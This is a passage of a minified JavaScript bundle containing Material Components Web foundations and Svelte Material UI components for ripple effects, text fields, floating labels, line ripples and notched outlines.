u=e;a=u.pageX-o,i=u.pageY-d}return{x:a,y:i}}(n,this.adapter.getWindowPageOffset(),this.adapter.computeBoundingRect()):{x:this.frame_.width/2,y:this.frame_.height/2}).x-this.initialSize_/2,y:e.y-this.initialSize_/2},endPoint:{x:this.frame_.width/2-this.initialSize_/2,y:this.frame_.height/2-this.initialSize_/2}}},t.prototype.runDeactivationUXLogicIfReady_=function(){var e=this,n=t.cssClasses.FG_DEACTIVATION,a=this.activationState_,i=a.hasDeactivationUXRun,r=a.isActivated;(i||!r)&&this.activationAnimationHasEnded_&&(this.rmBoundedActivationClasses_(),this.adapter.addClass(n),this.fgDeactivationRemovalTimer_=setTimeout((function(){e.adapter.removeClass(n)}),d.FG_DEACTIVATION_MS))},t.prototype.rmBoundedActivationClasses_=function(){var e=t.cssClasses.FG_ACTIVATION;this.adapter.removeClass(e),this.activationAnimationHasEnded_=!1,this.adapter.computeBoundingRect()},t.prototype.resetActivationState_=function(){var e=this;this.previousActivationEvent_=this.activationState_.activationEvent,this.activationState_=this.defaultActivationState_(),setTimeout((function(){return e.previousActivationEvent_=void 0}),t.numbers.TAP_DELAY_MS)},t.prototype.deactivate_=function(){var e=this,t=this.activationState_;if(t.isActivated){var n=(0,i.pi)({},t);t.isProgrammatic?(requestAnimationFrame((function(){return e.animateDeactivation_(n)})),this.resetActivationState_()):(this.deregisterDeactivationHandlers_(),requestAnimationFrame((function(){e.activationState_.hasDeactivationUXRun=!0,e.animateDeactivation_(n),e.resetActivationState_()})))}},t.prototype.animateDeactivation_=function(e){var t=e.wasActivatedByPointer,n=e.wasElementMadeActive;(t||n)&&this.runDeactivationUXLogicIfReady_()},t.prototype.layoutInternal_=function(){var e=this;this.frame_=this.adapter.computeBoundingRect();var n=Math.max(this.frame_.height,this.frame_.width);this.maxRadius_=this.adapter.isUnbounded()?n:Math.sqrt(Math.pow(e.frame_.width,2)+Math.pow(e.frame_.height,2))+t.numbers.PADDING;var a=Math.floor(n*t.numbers.INITIAL_ORIGIN_SCALE);this.adapter.isUnbounded()&&a%2!=0?this.initialSize_=a-1:this.initialSize_=a,this.fgScale_=""+this.maxRadius_/this.initialSize_,this.updateLayoutCssVars_()},t.prototype.updateLayoutCssVars_=function(){var e=t.strings,n=e.VAR_FG_SIZE,a=e.VAR_LEFT,i=e.VAR_TOP,r=e.VAR_FG_SCALE;this.adapter.updateCssVariable(n,this.initialSize_+"px"),this.adapter.updateCssVariable(r,this.fgScale_),this.adapter.isUnbounded()&&(this.unboundedCoords_={left:Math.round(this.frame_.width/2-this.initialSize_/2),top:Math.round(this.frame_.height/2-this.initialSize_/2)},this.adapter.updateCssVariable(a,this.unboundedCoords_.left+"px"),this.adapter.updateCssVariable(i,this.unboundedCoords_.top+"px"))},t}(r.K);var _=n(79397),h=n(42851),f=n(90400);const{applyPassive:p}=_,{matches:g}=h;const L=function(e,{ripple:t=!0,surface:n=!1,unbounded:i=!1,disabled:r=!1,color:s=null,active:o=null,eventTarget:d=null,activeTarget:l=null,addClass:u=(t=>e.classList.add(t)),removeClass:c=(t=>e.classList.remove(t)),addStyle:_=((t,n)=>e.style.setProperty(t,n)),initPromise:h=Promise.resolve()}={}){let L,y,v=(0,f.fw)("SMUI:addLayoutListener"),M=o,b=d,Y=l;function k(){n&&(u("mdc-ripple-surface"),"primary"===s?(u("smui-ripple-surface--primary"),c("smui-ripple-surface--secondary")):"secondary"===s?(c("smui-ripple-surface--primary"),u("smui-ripple-surface--secondary")):(c("smui-ripple-surface--primary"),c("smui-ripple-surface--secondary"))),L&&M!==o&&(M=o,o?L.activate():!1===o&&L.deactivate()),t&&!L?(L=new m({addClass:u,browserSupportsCssVars:()=>function(e,t){void 0===t&&(t=!1);var n,i=e.CSS;if("boolean"==typeof a&&!t)return a;if(!i||"function"!=typeof i.supports)return!1;var r=i.supports("--css-vars","yes"),s=i.supports("(--css-vars: yes)")&&i.supports("color","#00000000");return n=r||s,t||(a=n),n}(window),computeBoundingRect:()=>e.getBoundingClientRect(),containsEventTarget:t=>e.contains(t),deregisterDocumentInteractionHandler:(e,t)=>document.documentElement.removeEventListener(e,t,p()),deregisterInteractionHandler:(t,n)=>(d||e).removeEventListener(t,n,p()),deregisterResizeHandler:e=>window.removeEventListener("resize",e),getWindowPageOffset:()=>({x:window.pageXOffset,y:window.pageYOffset}),isSurfaceActive:()=>null==o?g(l||e,":active"):o,isSurfaceDisabled:()=>!!r,isUnbounded:()=>!!i,registerDocumentInteractionHandler:(e,t)=>document.documentElement.addEventListener(e,t,p()),registerInteractionHandler:(t,n)=>(d||e).addEventListener(t,n,p()),registerResizeHandler:e=>window.addEventListener("resize",e),removeClass:c,updateCssVariable:_}),h.then((()=>{L.init(),L.setUnbounded(i)}))):L&&!t&&h.then((()=>{L.destroy(),L=null})),!L||b===d&&Y===l||(b=d,Y=l,L.destroy(),requestAnimationFrame((()=>{L&&(L.init(),L.setUnbounded(i))}))),!t&&i&&u("mdc-ripple-upgraded--unbounded")}return k(),v&&(y=v((function(){L&&L.layout()}))),{update(a){({ripple:t,surface:n,unbounded:i,disabled:r,color:s,active:o,eventTarget:d,activeTarget:l,addClass:u,removeClass:c,addStyle:_,initPromise:h}={ripple:!0,surface:!1,unbounded:!1,disabled:!1,color:null,active:null,eventTarget:null,activeTarget:null,addClass:t=>e.classList.add(t),removeClass:t=>e.classList.remove(t),addStyle:(t,n)=>e.style.setProperty(t,n),initPromise:Promise.resolve(),...a}),k()},destroy(){L&&(L.destroy(),L=null,c("mdc-ripple-surface"),c("smui-ripple-surface--primary"),c("smui-ripple-surface--secondary")),y&&y()}}}},34236:(e,t,n)=>{"use strict";n.d(t,{ZP:()=>ot});var a=n(21379),i=n(70655),r=n(6308),s={ARIA_CONTROLS:"aria-controls",ARIA_DESCRIBEDBY:"aria-describedby",INPUT_SELECTOR:".mdc-text-field__input",LABEL_SELECTOR:".mdc-floating-label",LEADING_ICON_SELECTOR:".mdc-text-field__icon--leading",LINE_RIPPLE_SELECTOR:".mdc-line-ripple",OUTLINE_SELECTOR:".mdc-notched-outline",PREFIX_SELECTOR:".mdc-text-field__affix--prefix",SUFFIX_SELECTOR:".mdc-text-field__affix--suffix",TRAILING_ICON_SELECTOR:".mdc-text-field__icon--trailing"},o={DISABLED:"mdc-text-field--disabled",FOCUSED:"mdc-text-field--focused",HELPER_LINE:"mdc-text-field-helper-line",INVALID:"mdc-text-field--invalid",LABEL_FLOATING:"mdc-text-field--label-floating",NO_LABEL:"mdc-text-field--no-label",OUTLINED:"mdc-text-field--outlined",ROOT:"mdc-text-field",TEXTAREA:"mdc-text-field--textarea",WITH_LEADING_ICON:"mdc-text-field--with-leading-icon",WITH_TRAILING_ICON:"mdc-text-field--with-trailing-icon"},d={LABEL_SCALE:.75},l=["pattern","min","max","required","step","minlength","maxlength"],u=["color","date","datetime-local","month","range","time","week"],c=["mousedown","touchstart"],m=["click","keydown"],_=function(e){function t(n,a){void 0===a&&(a={});var r=e.call(this,(0,i.pi)((0,i.pi)({},t.defaultAdapter),n))||this;return r.isFocused_=!1,r.receivedUserInput_=!1,r.isValid_=!0,r.useNativeValidation_=!0,r.validateOnValueChange_=!0,r.helperText_=a.helperText,r.characterCounter_=a.characterCounter,r.leadingIcon_=a.leadingIcon,r.trailingIcon_=a.trailingIcon,r.inputFocusHandler_=function(){return r.activateFocus()},r.inputBlurHandler_=function(){return r.deactivateFocus()},r.inputInputHandler_=function(){return r.handleInput()},r.setPointerXOffset_=function(e){return r.setTransformOrigin(e)},r.textFieldInteractionHandler_=function(){return r.handleTextFieldInteraction()},r.validationAttributeChangeHandler_=function(e){return r.handleValidationAttributeChange(e)},r}return(0,i.ZT)(t,e),Object.defineProperty(t,"cssClasses",{get:function(){return o},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function(){return s},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function(){return d},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"shouldAlwaysFloat_",{get:function(){var e=this.getNativeInput_().type;return u.indexOf(e)>=0},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"shouldFloat",{get:function(){return this.shouldAlwaysFloat_||this.isFocused_||!!this.getValue()||this.isBadInput_()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"shouldShake",{get:function(){return!this.isFocused_&&!this.isValid()&&!!this.getValue()},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{addClass:function(){},removeClass:function(){},hasClass:function(){return!0},setInputAttr:function(){},removeInputAttr:function(){},registerTextFieldInteractionHandler:function(){},deregisterTextFieldInteractionHandler:function(){},registerInputInteractionHandler:function(){},deregisterInputInteractionHandler:function(){},registerValidationAttributeChangeHandler:function(){return new MutationObserver((function(){}))},deregisterValidationAttributeChangeHandler:function(){},getNativeInput:function(){return null},isFocused:function(){return!1},activateLineRipple:function(){},deactivateLineRipple:function(){},setLineRippleTransformOrigin:function(){},shakeLabel:function(){},floatLabel:function(){},setLabelRequired:function(){},hasLabel:function(){return!1},getLabelWidth:function(){return 0},hasOutline:function(){return!1},notchOutline:function(){},closeOutline:function(){}}},enumerable:!1,configurable:!0}),t.prototype.init=function(){var e=this;this.adapter.hasLabel()&&this.getNativeInput_().required&&this.adapter.setLabelRequired(!0),this.adapter.isFocused()?this.inputFocusHandler_():this.adapter.hasLabel()&&this.shouldFloat&&(this.notchOutline(!0),this.adapter.floatLabel(!0),this.styleFloating_(!0)),this.adapter.registerInputInteractionHandler("focus",this.inputFocusHandler_),this.adapter.registerInputInteractionHandler("blur",this.inputBlurHandler_),this.adapter.registerInputInteractionHandler("input",this.inputInputHandler_),c.forEach((function(t){e.adapter.registerInputInteractionHandler(t,e.setPointerXOffset_)})),m.forEach((function(t){e.adapter.registerTextFieldInteractionHandler(t,e.textFieldInteractionHandler_)})),this.validationObserver_=this.adapter.registerValidationAttributeChangeHandler(this.validationAttributeChangeHandler_),this.setCharacterCounter_(this.getValue().length)},t.prototype.destroy=function(){var e=this;this.adapter.deregisterInputInteractionHandler("focus",this.inputFocusHandler_),this.adapter.deregisterInputInteractionHandler("blur",this.inputBlurHandler_),this.adapter.deregisterInputInteractionHandler("input",this.inputInputHandler_),c.forEach((function(t){e.adapter.deregisterInputInteractionHandler(t,e.setPointerXOffset_)})),m.forEach((function(t){e.adapter.deregisterTextFieldInteractionHandler(t,e.textFieldInteractionHandler_)})),this.adapter.deregisterValidationAttributeChangeHandler(this.validationObserver_)},t.prototype.handleTextFieldInteraction=function(){var e=this.adapter.getNativeInput();e&&e.disabled||(this.receivedUserInput_=!0)},t.prototype.handleValidationAttributeChange=function(e){var t=this;e.some((function(e){return l.indexOf(e)>-1&&(t.styleValidity_(!0),t.adapter.setLabelRequired(t.getNativeInput_().required),!0)})),e.indexOf("maxlength")>-1&&this.setCharacterCounter_(this.getValue().length)},t.prototype.notchOutline=function(e){if(this.adapter.hasOutline()&&this.adapter.hasLabel())if(e){var t=this.adapter.getLabelWidth()*d.LABEL_SCALE;this.adapter.notchOutline(t)}else this.adapter.closeOutline()},t.prototype.activateFocus=function(){this.isFocused_=!0,this.styleFocused_(this.isFocused_),this.adapter.activateLineRipple(),this.adapter.hasLabel()&&(this.notchOutline(this.shouldFloat),this.adapter.floatLabel(this.shouldFloat),this.styleFloating_(this.shouldFloat),this.adapter.shakeLabel(this.shouldShake)),!this.helperText_||!this.helperText_.isPersistent()&&this.helperText_.isValidation()&&this.isValid_||this.helperText_.showToScreenReader()},t.prototype.setTransformOrigin=function(e){if(!this.isDisabled()&&!this.adapter.hasOutline()){var t=e.touches,n=t?t[0]:e,a=n.target.getBoundingClientRect(),i=n.clientX-a.left;this.adapter.setLineRippleTransformOrigin(i)}},t.prototype.handleInput=function(){this.autoCompleteFocus(),this.setCharacterCounter_(this.getValue().length)},t.prototype.autoCompleteFocus=function(){this.receivedUserInput_||this.activateFocus()},t.prototype.deactivateFocus=function(){this.isFocused_=!1,this.adapter.deactivateLineRipple();var e=this.isValid();this.styleValidity_(e),this.styleFocused_(this.isFocused_),this.adapter.hasLabel()&&(this.notchOutline(this.shouldFloat),this.adapter.floatLabel(this.shouldFloat),this.styleFloating_(this.shouldFloat),this.adapter.shakeLabel(this.shouldShake)),this.shouldFloat||(this.receivedUserInput_=!1)},t.prototype.getValue=function(){return this.getNativeInput_().value},t.prototype.setValue=function(e){if(this.getValue()!==e&&(this.getNativeInput_().value=e),this.setCharacterCounter_(e.length),this.validateOnValueChange_){var t=this.isValid();this.styleValidity_(t)}this.adapter.hasLabel()&&(this.notchOutline(this.shouldFloat),this.adapter.floatLabel(this.shouldFloat),this.styleFloating_(this.shouldFloat),this.validateOnValueChange_&&this.adapter.shakeLabel(this.shouldShake))},t.prototype.isValid=function(){return this.useNativeValidation_?this.isNativeInputValid_():this.isValid_},t.prototype.setValid=function(e){this.isValid_=e,this.styleValidity_(e);var t=!e&&!this.isFocused_&&!!this.getValue();this.adapter.hasLabel()&&this.adapter.shakeLabel(t)},t.prototype.setValidateOnValueChange=function(e){this.validateOnValueChange_=e},t.prototype.getValidateOnValueChange=function(){return this.validateOnValueChange_},t.prototype.setUseNativeValidation=function(e){this.useNativeValidation_=e},t.prototype.isDisabled=function(){return this.getNativeInput_().disabled},t.prototype.setDisabled=function(e){this.getNativeInput_().disabled=e,this.styleDisabled_(e)},t.prototype.setHelperTextContent=function(e){this.helperText_&&this.helperText_.setContent(e)},t.prototype.setLeadingIconAriaLabel=function(e){this.leadingIcon_&&this.leadingIcon_.setAriaLabel(e)},t.prototype.setLeadingIconContent=function(e){this.leadingIcon_&&this.leadingIcon_.setContent(e)},t.prototype.setTrailingIconAriaLabel=function(e){this.trailingIcon_&&this.trailingIcon_.setAriaLabel(e)},t.prototype.setTrailingIconContent=function(e){this.trailingIcon_&&this.trailingIcon_.setContent(e)},t.prototype.setCharacterCounter_=function(e){if(this.characterCounter_){var t=this.getNativeInput_().maxLength;if(-1===t)throw new Error("MDCTextFieldFoundation: Expected maxlength html property on text input or textarea.");this.characterCounter_.setCounterValue(e,t)}},t.prototype.isBadInput_=function(){return this.getNativeInput_().validity.badInput||!1},t.prototype.isNativeInputValid_=function(){return this.getNativeInput_().validity.valid},t.prototype.styleValidity_=function(e){var n=t.cssClasses.INVALID;if(e?this.adapter.removeClass(n):this.adapter.addClass(n),this.helperText_){if(this.helperText_.setValidity(e),!this.helperText_.isValidation())return;var a=this.helperText_.isVisible(),i=this.helperText_.getId();a&&i?this.adapter.setInputAttr(s.ARIA_DESCRIBEDBY,i):this.adapter.removeInputAttr(s.ARIA_DESCRIBEDBY)}},t.prototype.styleFocused_=function(e){var n=t.cssClasses.FOCUSED;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.styleDisabled_=function(e){var n=t.cssClasses,a=n.DISABLED,i=n.INVALID;e?(this.adapter.addClass(a),this.adapter.removeClass(i)):this.adapter.removeClass(a),this.leadingIcon_&&this.leadingIcon_.setDisabled(e),this.trailingIcon_&&this.trailingIcon_.setDisabled(e)},t.prototype.styleFloating_=function(e){var n=t.cssClasses.LABEL_FLOATING;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.getNativeInput_=function(){return(this.adapter?this.adapter.getNativeInput():null)||{disabled:!1,maxLength:-1,required:!1,type:"input",validity:{badInput:!1,valid:!0},value:""}},t}(r.K);var h=n(79397),f=n(90400),p=n(22730),g=n(15120);function L(e){let t;const n=e[4].default,i=(0,a.nu)(n,e,e[3],null);return{c(){i&&i.c()},m(e,n){i&&i.m(e,n),t=!0},p(e,[r]){i&&i.p&&(!t||8&r)&&(0,a.Tj)(i,n,e,e[3],t?r:-1,null,null)},i(e){t||((0,a.Ui)(i,e),t=!0)},o(e){(0,a.et)(i,e),t=!1},d(e){i&&i.d(e)}}}function y(e,t,n){let i,{$$slots:r={},$$scope:s}=t,{key:o}=t,{value:d}=t;const l=(0,g.fZ)(d);return(0,a.FI)(e,l,(e=>n(5,i=e))),(0,f.v)(o,l),(0,f.ev)((()=>{l.set(void 0)})),e.$$set=e=>{"key"in e&&n(1,o=e.key),"value"in e&&n(2,d=e.value),"$$scope"in e&&n(3,s=e.$$scope)},e.$$.update=()=>{4&e.$$.dirty&&(0,a.fx)(l,i=d,i)},[l,o,d,s,r]}class v extends a.f_{constructor(e){super(),(0,a.S1)(this,e,y,L,a.N8,{key:1,value:2})}}const M=v;var b=n(86551),Y={LABEL_FLOAT_ABOVE:"mdc-floating-label--float-above",LABEL_REQUIRED:"mdc-floating-label--required",LABEL_SHAKE:"mdc-floating-label--shake",ROOT:"mdc-floating-label"},k=function(e){function t(n){var a=e.call(this,(0,i.pi)((0,i.pi)({},t.defaultAdapter),n))||this;return a.shakeAnimationEndHandler_=function(){return a.handleShakeAnimationEnd_()},a}return(0,i.ZT)(t,e),Object.defineProperty(t,"cssClasses",{get:function(){return Y},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{addClass:function(){},removeClass:function(){},getWidth:function(){return 0},registerInteractionHandler:function(){},deregisterInteractionHandler:function(){}}},enumerable:!1,configurable:!0}),t.prototype.init=function(){this.adapter.registerInteractionHandler("animationend",this.shakeAnimationEndHandler_)},t.prototype.destroy=function(){this.adapter.deregisterInteractionHandler("animationend",this.shakeAnimationEndHandler_)},t.prototype.getWidth=function(){return this.adapter.getWidth()},t.prototype.shake=function(e){var n=t.cssClasses.LABEL_SHAKE;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.float=function(e){var n=t.cssClasses,a=n.LABEL_FLOAT_ABOVE,i=n.LABEL_SHAKE;e?this.adapter.addClass(a):(this.adapter.removeClass(a),this.adapter.removeClass(i))},t.prototype.setRequired=function(e){var n=t.cssClasses.LABEL_REQUIRED;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.handleShakeAnimationEnd_=function(){var e=t.cssClasses.LABEL_SHAKE;this.adapter.removeClass(e)},t}(r.K);function w(e){let t,n,i,r,s,o,d,l,u;const c=e[22].default,m=(0,a.nu)(c,e,e[21],null);let _=[{class:n=(0,p.$o)({[e[3]]:!0,"mdc-floating-label":!0,"mdc-floating-label--float-above":e[0],"mdc-floating-label--required":e[1],...e[8]})},{style:i=Object.entries(e[9]).map($).concat([e[4]]).join(" ")},{for:r=e[5]||(e[11]?e[11].id:null)},e[12]],h={};for(let e=0;e<_.length;e+=1)h=(0,a.f0)(h,_[e]);return{c(){t=(0,a.bG)("label"),m&&m.c(),(0,a.UF)(t,h)},m(n,i){(0,a.$T)(n,t,i),m&&m.m(t,null),e[24](t),d=!0,l||(u=[(0,a.TV)(s=p.ol.call(null,t,e[2])),(0,a.TV)(o=e[10].call(null,t))],l=!0)},p(e,o){m&&m.p&&(!d||2097152&o)&&(0,a.Tj)(m,c,e,e[21],d?o:-1,null,null),(0,a.UF)(t,h=(0,a.Lo)(_,[(!d||267&o&&n!==(n=(0,p.$o)({[e[3]]:!0,"mdc-floating-label":!0,"mdc-floating-label--float-above":e[0],"mdc-floating-label--required":e[1],...e[8]})))&&{class:n},(!d||528&o&&i!==(i=Object.entries(e[9]).map($).concat([e[4]]).join(" ")))&&{style:i},(!d||32&o&&r!==(r=e[5]||(e[11]?e[11].id:null)))&&{for:r},4096&o&&e[12]])),s&&(0,a.sB)(s.update)&&4&o&&s.update.call(null,e[2])},i(e){d||((0,a.Ui)(m,e),d=!0)},o(e){(0,a.et)(m,e),d=!1},d(n){n&&(0,a.og)(t),m&&m.d(n),e[24](null),l=!1,(0,a.j7)(u)}}}function T(e){let t,n,i,r,s,o,d,l;const u=e[22].default,c=(0,a.nu)(u,e,e[21],null);let m=[{class:n=(0,p.$o)({[e[3]]:!0,"mdc-floating-label":!0,"mdc-floating-label--float-above":e[0],"mdc-floating-label--required":e[1],...e[8]})},{style:i=Object.entries(e[9]).map(x).concat([e[4]]).join(" ")},e[12]],_={};for(let e=0;e<m.length;e+=1)_=(0,a.f0)(_,m[e]);return{c(){t=(0,a.bG)("span"),c&&c.c(),(0,a.UF)(t,_)},m(n,i){(0,a.$T)(n,t,i),c&&c.m(t,null),e[23](t),o=!0,d||(l=[(0,a.TV)(r=p.ol.call(null,t,e[2])),(0,a.TV)(s=e[10].call(null,t))],d=!0)},p(e,s){c&&c.p&&(!o||2097152&s)&&(0,a.Tj)(c,u,e,e[21],o?s:-1,null,null),(0,a.UF)(t,_=(0,a.Lo)(m,[(!o||267&s&&n!==(n=(0,p.$o)({[e[3]]:!0,"mdc-floating-label":!0,"mdc-floating-label--float-above":e[0],"mdc-floating-label--required":e[1],...e[8]})))&&{class:n},(!o||528&s&&i!==(i=Object.entries(e[9]).map(x).concat([e[4]]).join(" ")))&&{style:i},4096&s&&e[12]])),r&&(0,a.sB)(r.update)&&4&s&&r.update.call(null,e[2])},i(e){o||((0,a.Ui)(c,e),o=!0)},o(e){(0,a.et)(c,e),o=!1},d(n){n&&(0,a.og)(t),c&&c.d(n),e[23](null),d=!1,(0,a.j7)(l)}}}function D(e){let t,n,i,r;const s=[T,w],o=[];function d(e,t){return e[6]?0:1}return t=d(e),n=o[t]=s[t](e),{c(){n.c(),i=(0,a.cS)()},m(e,n){o[t].m(e,n),(0,a.$T)(e,i,n),r=!0},p(e,[r]){let l=t;t=d(e),t===l?o[t].p(e,r):((0,a.dv)(),(0,a.et)(o[l],1,1,(()=>{o[l]=null})),(0,a.gb)(),n=o[t],n?n.p(e,r):(n=o[t]=s[t](e),n.c()),(0,a.Ui)(n,1),n.m(i.parentNode,i))},i(e){r||((0,a.Ui)(n),r=!0)},o(e){(0,a.et)(n),r=!1},d(e){o[t].d(e),e&&(0,a.og)(i)}}}const x=([e,t])=>`${e}: ${t};`,$=([e,t])=>`${e}: ${t};`;function S(e,t,n){const i=["use","class","style","for","floatAbove","required","wrapped","shake","float","setRequired","getWidth","getElement"];let r=(0,a.q2)(t,i),{$$slots:s={},$$scope:o}=t;const d=(0,p.PD)((0,a.w2)());let l,u,{use:c=[]}=t,{class:m=""}=t,{style:_=""}=t,{for:h=null}=t,{floatAbove:g=!1}=t,{required:L=!1}=t,{wrapped:y=!1}=t,v={},M={},b=(0,f.fw)("SMUI:generic:input:props")||{},Y=g,w=L;function T(e){v[e]||n(8,v[e]=!0,v)}function D(e){e in v&&!v[e]||n(8,v[e]=!1,v)}function x(e,t){M[e]!=t&&(""===t||null==t?(delete M[e],n(9,M)):n(9,M[e]=t,M))}function $(e){e in M&&(delete M[e],n(9,M))}function S(){return l}return(0,f.H3)((()=>{n(18,u=new k({addClass:T,removeClass:D,getWidth:()=>{const e=S(),t=e.cloneNode(!0);e.parentNode.appendChild(t),t.classList.add("smui-floating-label--remove-transition"),t.classList.add("smui-floating-label--force-size"),t.classList.remove("mdc-floating-label--float-above");const n=t.scrollWidth;return e.parentNode.removeChild(t),n},registerInteractionHandler:(e,t)=>S().addEventListener(e,t),deregisterInteractionHandler:(e,t)=>S().removeEventListener(e,t)}));const e={get element(){return S()},addStyle:x,removeStyle:$};return(0,p.WI)(l,"SMUI:floating-label:mount",e),u.init(),()=>{(0,p.WI)(l,"SMUI:floating-label:unmount",e),u.destroy()}})),e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(12,r=(0,a.q2)(t,i)),"use"in e&&n(2,c=e.use),"class"in e&&n(3,m=e.class),"style"in e&&n(4,_=e.style),"for"in e&&n(5,h=e.for),"floatAbove"in e&&n(0,g=e.floatAbove),"required"in e&&n(1,L=e.required),"wrapped"in e&&n(6,y=e.wrapped),"$$scope"in e&&n(21,o=e.$$scope)},e.$$.update=()=>{786433&e.$$.dirty&&Y!==g&&(n(19,Y=g),u.float(g)),1310722&e.$$.dirty&&w!==L&&(n(20,w=L),u.setRequired(L))},[g,L,c,m,_,h,y,l,v,M,d,b,r,function(e){u.shake(e)},function(e){n(0,g=e)},function(e){n(1,L=e)},function(){return u.getWidth()},S,u,Y,w,o,s,function(e){a.Vn[e?"unshift":"push"]((()=>{l=e,n(7,l)}))},function(e){a.Vn[e?"unshift":"push"]((()=>{l=e,n(7,l)}))}]}class j extends a.f_{constructor(e){super(),(0,a.S1)(this,e,S,D,a.N8,{use:2,class:3,style:4,for:5,floatAbove:0,required:1,wrapped:6,shake:13,float:14,setRequired:15,getWidth:16,getElement:17})}get shake(){return this.$$.ctx[13]}get float(){return this.$$.ctx[14]}get setRequired(){return this.$$.ctx[15]}get getWidth(){return this.$$.ctx[16]}get getElement(){return this.$$.ctx[17]}}const H=j;var C={LINE_RIPPLE_ACTIVE:"mdc-line-ripple--active",LINE_RIPPLE_DEACTIVATING:"mdc-line-ripple--deactivating"},E=function(e){function t(n){var a=e.call(this,(0,i.pi)((0,i.pi)({},t.defaultAdapter),n))||this;return a.transitionEndHandler_=function(e){return a.handleTransitionEnd(e)},a}return(0,i.ZT)(t,e),Object.defineProperty(t,"cssClasses",{get:function(){return C},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{addClass:function(){},removeClass:function(){},hasClass:function(){return!1},setStyle:function(){},registerEventHandler:function(){},deregisterEventHandler:function(){}}},enumerable:!1,configurable:!0}),t.prototype.init=function(){this.adapter.registerEventHandler("transitionend",this.transitionEndHandler_)},t.prototype.destroy=function(){this.adapter.deregisterEventHandler("transitionend",this.transitionEndHandler_)},t.prototype.activate=function(){this.adapter.removeClass(C.LINE_RIPPLE_DEACTIVATING),this.adapter.addClass(C.LINE_RIPPLE_ACTIVE)},t.prototype.setRippleCenter=function(e){this.adapter.setStyle("transform-origin",e+"px center")},t.prototype.deactivate=function(){this.adapter.addClass(C.LINE_RIPPLE_DEACTIVATING)},t.prototype.handleTransitionEnd=function(e){var t=this.adapter.hasClass(C.LINE_RIPPLE_DEACTIVATING);"opacity"===e.propertyName&&t&&(this.adapter.removeClass(C.LINE_RIPPLE_ACTIVE),this.adapter.removeClass(C.LINE_RIPPLE_DEACTIVATING))},t}(r.K);function O(e){let t,n,i,r,s,o,d,l=[{class:n=(0,p.$o)({[e[1]]:!0,"mdc-line-ripple":!0,"mdc-line-ripple--active":e[3],...e[5]})},{style:i=Object.entries(e[6]).map(A).concat([e[2]]).join(" ")},e[8]],u={};for(let e=0;e<l.length;e+=1)u=(0,a.f0)(u,l[e]);return{c(){t=(0,a.bG)("div"),(0,a.UF)(t,u)},m(n,i){(0,a.$T)(n,t,i),e[13](t),o||(d=[(0,a.TV)(r=p.ol.call(null,t,e[0])),(0,a.TV)(s=e[7].call(null,t))],o=!0)},p(e,[s]){(0,a.UF)(t,u=(0,a.Lo)(l,[42&s&&n!==(n=(0,p.$o)({[e[1]]:!0,"mdc-line-ripple":!0,"mdc-line-ripple--active":e[3],...e[5]}))&&{class:n},68&s&&i!==(i=Object.entries(e[6]).map(A).concat([e[2]]).join(" "))&&{style:i},256&s&&e[8]])),r&&(0,a.sB)(r.update)&&1&s&&r.update.call(null,e[0])},i:a.ZT,o:a.ZT,d(n){n&&(0,a.og)(t),e[13](null),o=!1,(0,a.j7)(d)}}}const A=([e,t])=>`${e}: ${t};`;function I(e,t,n){const i=["use","class","style","active","activate","deactivate","setRippleCenter","getElement"];let r=(0,a.q2)(t,i);const s=(0,p.PD)((0,a.w2)());let o,d,{use:l=[]}=t,{class:u=""}=t,{style:c=""}=t,{active:m=!1}=t,_={},h={};function g(e){return e in _?_[e]:M().classList.contains(e)}function L(e){_[e]||n(5,_[e]=!0,_)}function y(e){e in _&&!_[e]||n(5,_[e]=!1,_)}function v(e,t){h[e]!=t&&(""===t||null==t?(delete h[e],n(6,h)):n(6,h[e]=t,h))}function M(){return o}return(0,f.H3)((()=>(d=new E({addClass:L,removeClass:y,hasClass:g,setStyle:v,registerEventHandler:(e,t)=>M().addEventListener(e,t),deregisterEventHandler:(e,t)=>M().removeEventListener(e,t)}),d.init(),()=>{d.destroy()}))),e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(8,r=(0,a.q2)(t,i)),"use"in e&&n(0,l=e.use),"class"in e&&n(1,u=e.class),"style"in e&&n(2,c=e.style),"active"in e&&n(3,m=e.active)},[l,u,c,m,o,_,h,s,r,function(){d.activate()},function(){d.deactivate()},function(e){d.setRippleCenter(e)},M,function(e){a.Vn[e?"unshift":"push"]((()=>{o=e,n(4,o)}))}]}class R extends a.f_{constructor(e){super(),(0,a.S1)(this,e,I,O,a.N8,{use:0,class:1,style:2,active:3,activate:9,deactivate:10,setRippleCenter:11,getElement:12})}get activate(){return this.$$.ctx[9]}get deactivate(){return this.$$.ctx[10]}get setRippleCenter(){return this.$$.ctx[11]}get getElement(){return this.$$.ctx[12]}}const P=R;var F={NOTCH_ELEMENT_SELECTOR:".mdc-notched-outline__notch"},N={NOTCH_ELEMENT_PADDING:8},z={NO_LABEL:"mdc-notched-outline--no-label",OUTLINE_NOTCHED:"mdc-notched-outline--notched",OUTLINE_UPGRADED:"mdc-notched-outline--upgraded"},U=function(e){function t(n){return e.call(this,(0,i.pi)((0,i.pi)({},t.defaultAdapter),n))||this}return(0,i.ZT)(t,e),Object.defineProperty(t,"strings",{get:function(){return F},enumerable:!1,configurable:!0}),Object.defineProperty(t,"cssClasses",{get:function(){return z},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function(){return N},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{addClass:function(){},removeClass:function(){},setNotchWidthProperty:function(){},removeNotchWidthProperty:function(){}}},enumerable:!1,configurable:!0}),t.prototype.notch=function(e){var 